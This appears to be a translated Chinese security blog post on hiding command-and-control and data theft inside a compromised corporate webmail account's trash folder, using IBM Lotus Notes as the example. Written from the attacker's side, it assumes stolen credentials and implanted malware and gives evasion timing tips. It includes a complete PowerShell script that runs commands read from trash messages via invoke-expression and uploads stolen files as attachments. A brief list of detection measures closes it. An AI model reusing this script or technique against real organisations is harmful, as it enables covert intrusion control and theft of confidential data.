假设场景
我们假设目标企业组织内设置了这样一种安全措施:
01:内部用户工作站电脑不能直接连接互联网,只能通过其中架设的代理服务器执行外部Web请求和DNS查询,而且代理服务器又设置了流量监控功能,由其产生的HTTP和DNS请求流量都能被监测发现。
02:由于从某种程度上来说,代理服务器“打破”了内部用户机与外部服务器之间点对点连接模式,包括HTTPS方式,所以像Domain fronting这种隐蔽攻击方式一样可以被监测到,所以只有一些白名单网站可以被放行通过。
03:这种环境下,企业的大部分内部服务器都被设置了联网限制,当然也就不存在服务暴露情况,因为所有企业相关网站或博客等服务可能都被部署在谷歌云存储平台,只有网站管理员以相应的企业社交网络账号从其它隔离的工作站电脑上登录进入管理面板,才能进行内容更新修改操作。
在这种场景下,传统的通过Web或DNS方式进行的C&C(命令控制)和数据窃取操作貌似不可行,此时,我们可以尝试使用另外一种奇技淫巧:利用企业网页邮件系统。
利用思路
如今,灵活便捷的企业邮箱登录是办公手段的必需,如果不考虑所有安全措施,抽象意义上来说,邮箱系统是所有内网环境(如员工电脑)和各式外网终端,如公司配发的具有邮箱登录入口APP的智能手机和平板、通过浏览器方式以IBM iNotes或Microsoft OWA访问登录的电脑等。很多情况下,这种联网的企业网页邮件系统大多都不具备双因素认证(2FA)和VPN集中器等安全机制。而且,很多移动端APP都缺乏OAuth或“应用密码”等授权认证机制,只需用户名密码就可对接入系统进行直接登录配置。
因此,如果我们通过网络攻击方式或从一些泄露数据库中,获取到目标机构运行于互联网上的有效企业邮箱系统用户登录凭据(用户名/密码)后,可以藉此为突破口控制利用该企业用户电子邮箱,感染内网用户主机,渗透进入企业内网。之后,针对我们植入的恶意软件,可以构造这样一种C&C通道:在该企业用户电子邮箱的垃圾箱文件夹内设置特殊格式消息文件,恶意软件通过读取这种消息文件信息,执行我们的控制命令;当然,也可以构造一种类似的数据窃取(exfiltration)通道:植入的恶意软件把从企业机构内部窃取的文档数据,上传存储到该企业用户电子邮箱的垃圾箱文件夹内(这些文档数据可以是加密或其它方式的存在),之后,我们可以远程登录进入网页邮件系回收这些文档数据,并且可以不留痕迹地删除这些存储数据。
尽管技术上看似简单,但很难从所有合法网络流量中识别出C&C和Exfiltration方式流量。例如,企业用户在19:00下班,我们可以在已经渗透控制的目标企业用户主机上,在18:30时刻(下班前繁忙的网络流量中很难被发觉是有规律的访问行为),通过植入木马把窃取文档数据上传至被控制电子邮箱的垃圾文件夹内,之后,在20:30时刻,通过Webmail或移动终端API回收窃取数据,因为该时段很难区分出到底是在员工家中还是企业手机端的访问行为。
由于我们不是把消息或数据发送到外部地址,而是通过邮箱自动发送或向特定文件夹内上传消息文件,所以,这种操作行为,在所有进出的SMTP流量中也很难被发现。另外,还可以通过其它手段来增加检测发现难度:当被渗透控制的企业用户主机启动邮箱客户端程序时,运行植入的恶意程序,通过企业内网非黑名单IP接入Webmail端,使用与目标企业机构相同的移动运营商、程序终端、操作系统或浏览器等。
概念性验证攻击展示(PoC)
我们以IBM Lotus Notes邮件系统为例,作一个概念性验证展示。企业如果架设了IBM Lotus Notes邮件系统,则对企业内网用户来说,可以使用Notes的邮件客户端,而外网用户则可以通过Webmail方式或该邮件系统的IBM Verse移动APP终端进行访问。
另外,有意思的是,Lotus Notes还提供了对邮件客户端的邮件定制开发API,其中具有一个COM组件方法Notes.NotesSession,我们可以利用它来进行方法调用和定制语言选择。在这里,我们使用PowerShell脚本作为PoC验证。
在我们控制利用的企业用户电子邮箱中,包含可以定期执行我们控制命令的简单PowerShell脚本。我们向企业内网植入的恶意程序,将以预期任务、WMI或其它复杂技巧来请求这些脚本来实现命令控制。
在此,如果Notes邮件客户端正常运行的情况下,我们将只利用其COM组件方法来对邮件作一些定制调用,因为这样可以避免一些用户端的报警警告:
- $running = get-process nlnotes -erroraction silentlycontinue
- if ($running -eq $null) { exit }
如果Notes邮件客户端没有运行,我们可以初始化COM组件,并打开默认配置的数据库和服务器:
- $notes = New-Object -ComObject Notes.NotesSession
- $db = $notes.getdatabase("", "")
- if (!$db.isopen()) {
- $db.openmail()
- }
之后,我们可以定义数据窃取Exfiltrate()方法,来存储窃取文档并上传到被控制利用的企业用户电子邮箱垃圾文件夹内:
- function Exfiltrate($path) {
- $doc = $db.createdocument()
- $richText = $doc.createrichtextitem("Attachment")
- $richText.embedobject(1454, "", $path, "Attachment")
- $doc.save($true, $false, $true);
- $doc.remove($true)
- }
在以上代码中,可以看到,我们通过实例化方法$db.createdocument()创建了一个新文档,并把文档附加第一个参数中,以$doc.save()方法进行保存,之后调用$doc.remove()方法把文件删除到电子邮箱的垃圾文件夹内(PS:如果我们不调用remove()方法,则新建文档将会存储在一个未知文件夹内,不会出现在收件箱内,只能通过选择“所有附件”按钮才能看到,这也算是另外一种隐蔽消息的方法)。
最终,可以构造形如以下的C&C命令脚本,让植入的恶意程序进行读取执行:
- $trash = $db.getview("`$SoftDeletions")
- $doc = $trash.getfirstdocument()
- while ($doc -ne $null) {
- $subj = $doc.getitemvalue("Subject")
- if ($subj -eq "powershell") {
- $code = $doc.getitemvalue("Body")
- invoke-expression $code[0]
- $doc.removepermanently($true)
- break
- }
- $doc = $trash.getnextdocument($doc)
- }
首先,我们打开$SoftDeletions方法查看Notes邮箱数据库,并以此方式调用电子邮箱的垃圾文件夹,以$trash.getfirstdocument()方法查看所有垃圾文件夹内的文件,如果其涉及主题为“powershell”字符串,我们将进一步读取其邮件主体信息,一旦执行完内置该Powershell的Payload之后,将调用$doc.removepermanently()方法进行永久删除。
实际利用
我们如何来操作这段简单的PoC呢?前提是我们获得了能登录Webmail端的企业员工有效用户名密码,并向企业内网某主机植入了窃取数据的恶意程序。攻击者从互联网登录进入该企业员工被控制利用的Webmail端,并以Powershell方式向其邮箱内自动发送消息邮件的大致方式如下:
该消息邮件被删除之后,进入邮箱垃圾文件夹:
我们植入的恶意程序在内网主机运行之后,可以设置其检索该邮箱垃圾文件夹内的以上Powershell消息邮件,通过读取该邮件体中内置的内容执行命令。如以上邮件消息中设置把窃取文件存储到c:\windows\temp\ps.txt文件内,并通过邮件上传附件实现exfiltrate方法的文档外传窃取。
当然,如果攻击者通过互联网方式登录进入Webmail端后,将会在邮箱垃圾文件夹发现以下存储的窃取文件:
我们可以看到,邮箱垃圾文件夹的该消息邮件,没有任何主题(subject)和来源(from)信息,并具有一个名为ps.txt的附件:
最终,攻击者只需简单地下载该文件并删除垃圾文件夹内信息,就能以这种“暗度陈仓”的方式实现C&C命令控制和数据窃取(Exfiltration)。以下为该过程中利用的完整Powershell脚本:
- $running = get-process nlnotes -erroraction silentlycontinue
- if ($running -eq $null) { exit }
- $notes = New-Object -ComObject Notes.NotesSession
- $db = $notes.getdatabase("", "")
- if (!$db.isopen()) {
- $db.openmail()
- }
- function Exfiltrate($path) {
- $doc = $db.createdocument()
- $richText = $doc.createrichtextitem("Attachment")
- $richText.embedobject(1454, "", $path, "Attachment")
- $doc.save($true, $false, $true);
- $doc.remove($true)
- }
- $trash = $db.getview("`$SoftDeletions")
- $doc = $trash.getfirstdocument()
- while ($doc -ne $null) {
- $subj = $doc.getitemvalue("Subject")
- if ($subj -eq "powershell") {
- $code = $doc.getitemvalue("Body")
- invoke-expression $code[0]
- $doc.removepermanently($true)
- break
- }
- $doc = $trash.getnextdocument($doc)
- }
如果目标企业机构使用的是其它架构邮箱系统,如Microsoft (Exchange/Outlook/OWA)等,这其中相关的消息、收件箱、文件夹和命令等属性操作可以直接应用到植入的恶意程序配置内。
如何检测此类可疑行为?
- 对企业邮箱系统设置双因素认证机制;
- 监测邮箱内奇怪的附件信息,如PowerShell脚本、加密数据、混淆数据,监测对邮箱的异常访问和操作行为;
- 企业邮箱系统访问IP限制,如Tor、VPN、国家或黑名单等;
- 限制与企业移动运营商不同的其它移动运营商APP会话访问;
- 企业邮箱账户不常登录使用的浏览器识别;
- 监测邮件自动消息发送行为;
- 监测识别企业用户主机登录访问企业邮箱行为……